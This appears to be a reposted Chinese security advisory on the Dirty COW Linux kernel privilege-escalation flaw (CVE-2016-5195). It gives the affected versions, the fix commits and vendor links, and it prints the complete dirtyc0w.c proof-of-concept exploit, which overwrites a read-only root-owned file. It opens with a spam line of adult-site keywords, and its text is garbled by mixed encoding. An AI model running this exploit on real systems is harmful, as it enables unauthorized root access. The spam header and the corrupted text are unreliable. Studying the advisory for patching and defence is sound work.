99久久国产综合精品国_亚洲av日韩aⅴ电影_午夜福利在线电影_亚洲aⅤ色欲久久一区二区三区_91九色蝌蚪国产精品_亚洲av无码乱码在线观看四虎_4国产精品无码制服丝袜_亚洲Av成人五月天在线观看_牛牛成人永久免费视频_午夜福利在线资源


【漏洞預(yù)警】CVE-2016-5195臟牛漏洞:Linux內(nèi)核通殺提權(quán)漏洞

本文原創(chuàng)作者:安全客

來源:安全客

t011b94cae7b09c8490

漏洞描述


漏洞編號(hào):CVE-2016-5195

漏洞名稱:臟牛(Dirty COW)

漏洞危害:低權(quán)限用戶利用該漏洞技術(shù)可以在全版本Linux系統(tǒng)上實(shí)現(xiàn)本地提權(quán)

影響范圍:Linux內(nèi)核>=2.6.22(2007年發(fā)行)開始就受影響了,直到2016年10月18日才修復(fù)。

360 Vulpecker Team:Android 7.0最新的10月補(bǔ)丁安全級(jí)別的系統(tǒng)上測(cè)試過漏洞POC,確認(rèn)Android受影響

為什么這個(gè)漏洞叫臟牛(Dirty COW)漏洞?


Linux內(nèi)核的內(nèi)存子系統(tǒng)在處理寫時(shí)拷貝(Copy-on-Write)時(shí)存在條件競(jìng)爭(zhēng)漏洞,導(dǎo)致可以破壞私有只讀內(nèi)存映射。一個(gè)低權(quán)限的本地用戶能夠利用此漏洞獲取其他只讀內(nèi)存映射的寫權(quán)限,有可能進(jìn)一步導(dǎo)致提權(quán)漏洞。

漏洞相關(guān)細(xì)節(jié)


漏洞細(xì)節(jié):https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

根據(jù)RedHat公司的報(bào)告稱:目前已經(jīng)在野外發(fā)現(xiàn)針對(duì)這個(gè)漏洞的利用技術(shù)。但是到目前為止,我們沒有更進(jìn)一步的消息。

https://access.redhat.com/security/vulnerabilities/2706661

Commit?messages:

commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6

Author: Linus Torvalds <torvalds@g5.osdl.org>

Date: ? Mon Aug 1 11:14:49 2005 -0700

修復(fù)get_user_pages()寫訪問競(jìng)爭(zhēng)條件

如果一個(gè)更新來自其他線程結(jié)束修改頁(yè)表,handle_mm_fault()將可能結(jié)束需要我們重新操作。handle_mm_fault()沒有真正的防護(hù)一直能夠破壞COW。這樣看起來是不錯(cuò)的,但是get_user_pages()結(jié)束后會(huì)重新讀,使get_user_pages()一直重寫的話,需要dirty bit 設(shè)置,最簡(jiǎn)單的解決競(jìng)爭(zhēng)條件的辦法是,如果COW的break因?yàn)槟承┰蚴?,我們能夠繼續(xù)循環(huán)繼續(xù)嘗試。

commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

Author: Linus Torvalds <torvalds@linux-foundation.org>

Date: ? Thu Oct 13 20:07:36 2016 GMT

這是一個(gè)年代久遠(yuǎn)的BUG了,我在7年前已經(jīng)曾經(jīng)嘗試修復(fù)過一次了(commit 4ceb5db9757a),但是由于一些問題(commit f33ea7f404e5)又回滾了。這次,我們對(duì)pte_dirty()位做了檢測(cè)。

Linux各發(fā)行版本對(duì)于該漏洞相關(guān)信息


Red Hat:https://access.redhat.com/security/cve/cve-2016-5195

Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195

Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html

受影響的范圍


這個(gè)漏洞自從內(nèi)核2.6.22(2007年發(fā)行)開始就受影響了,直到2016年10月18日才修復(fù)。

如何修復(fù)該漏洞?


Linux團(tuán)隊(duì)正在積極的修復(fù)此漏洞,可以通過系統(tǒng)更新到最新發(fā)行版修復(fù)此漏洞。軟件開發(fā)人員也可以通過

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

重新編譯Linux修復(fù)此漏洞。

如何發(fā)現(xiàn)有人利用該漏洞攻擊我?


利用這個(gè)Bug不會(huì)在日志里留下異常信息。但是部分安全社區(qū)已經(jīng)部署蜜罐,如果有攻擊者利用此漏洞,將會(huì)觸發(fā)告警。

誰(shuí)發(fā)現(xiàn)的這個(gè)漏洞?


Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195

對(duì)于該漏洞作者甚至申請(qǐng)了獨(dú)立的:網(wǎng)站、twitter帳號(hào)、github帳號(hào)、并找專人設(shè)計(jì)了Logo

作者對(duì)此的解釋是:我們對(duì)建立有品牌的漏洞充滿了樂趣,但是也許在這個(gè)時(shí)間點(diǎn),這不是一個(gè)好主意。但是為了表明我們的立場(chǎng),我才創(chuàng)建了網(wǎng)站,在線商店,twiiter帳號(hào),以及請(qǐng)專業(yè)設(shè)計(jì)師為這個(gè)漏洞設(shè)計(jì)了LOGO。

2016.10.21 13:37更新漏洞影響范圍:

360 Vulpecker Team:Android 7.0最新的10月補(bǔ)丁安全級(jí)別的系統(tǒng)上測(cè)試過漏洞POC,確認(rèn)Android受影響

t01024de2b0b3bcb5d0

2016.10.21 9:10更新POC:


POC地址:

https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
/*
#######################?dirtyc0w.c?#######################
$?sudo?-s
#?echo?this?is?not?a?test?>?foo
#?chmod?0404?foo
$?ls?-lah?foo
-r-----r--?1?root?root?19?Oct?20?15:23?foo
$?cat?foo
this?is?not?a?test
$?gcc?-lpthread?dirtyc0w.c?-o?dirtyc0w
$?./dirtyc0w?foo?m00000000000000000
mmap?56123000
madvise?0
procselfmem?1800000000
$?cat?foo
m00000000000000000
#######################?dirtyc0w.c?#######################
*/
#include?<stdio.h>
#include?<sys/mman.h>
#include?<fcntl.h>
#include?<pthread.h>
#include?<string.h>
?
void?*map;
int?f;
struct?stat?st;
char?*name;
?
void?*madviseThread(void?*arg)
{
??char?*str;
??str=(char*)arg;
??int?i,c=0;
??for(i=0;i<100000000;i++)
??{
/*
You?have?to?race?madvise(MADV_DONTNEED)?::?https://access.redhat.com/security/vulnerabilities/2706661
>?This?is?achieved?by?racing?the?madvise(MADV_DONTNEED)?system?call
>?while?having?the?page?of?the?executable?mmapped?in?memory.
*/
????c+=madvise(map,100,MADV_DONTNEED);
??}
??printf("madvise?%d\n\n",c);
}
?
void?*procselfmemThread(void?*arg)
{
??char?*str;
??str=(char*)arg;
/*
You?have?to?write?to?/proc/self/mem?::?https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>??The?in?the?wild?exploit?we?are?aware?of?doesn't?work?on?Red?Hat
>??Enterprise?Linux?5?and?6?out?of?the?box?because?on?one?side?of
>??the?race?it?writes?to?/proc/self/mem,?but?/proc/self/mem?is?not
>??writable?on?Red?Hat?Enterprise?Linux?5?and?6.
*/
??int?f=open("/proc/self/mem",O_RDWR);
??int?i,c=0;
??for(i=0;i<100000000;i++)?{
/*
You?have?to?reset?the?file?pointer?to?the?memory?position.
*/
????lseek(f,map,SEEK_SET);
????c+=write(f,str,strlen(str));
??}
??printf("procselfmem?%d\n\n",?c);
}
?
?
int?main(int?argc,char?*argv[])
{
/*
You?have?to?pass?two?arguments.?File?and?Contents.
*/
??if?(argc<3)return?1;
??pthread_t?pth1,pth2;
/*
You?have?to?open?the?file?in?read?only?mode.
*/
??f=open(argv[1],O_RDONLY);
??fstat(f,&st);
??name=argv[1];
/*
You?have?to?use?MAP_PRIVATE?for?copy-on-write?mapping.
>?Create?a?private?copy-on-write?mapping.??Updates?to?the
>?mapping?are?not?visible?to?other?processes?mapping?the?same
>?file,?and?are?not?carried?through?to?the?underlying?file.??It
>?is?unspecified?whether?changes?made?to?the?file?after?the
>?mmap()?call?are?visible?in?the?mapped?region.
*/
/*
You?have?to?open?with?PROT_READ.
*/
??map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
??printf("mmap?%x\n\n",map);
/*
You?have?to?do?it?on?two?threads.
*/
??pthread_create(&pth1,NULL,madviseThread,argv[1]);
??pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You?have?to?wait?for?the?threads?to?finish.
*/
??pthread_join(pth1,NULL);
??pthread_join(pth2,NULL);
??return?0;
}

原文地址:http://bobao.#/learning/detail/3123.html

上一篇
下一篇

聯(lián)系我們:cert@chaosec.com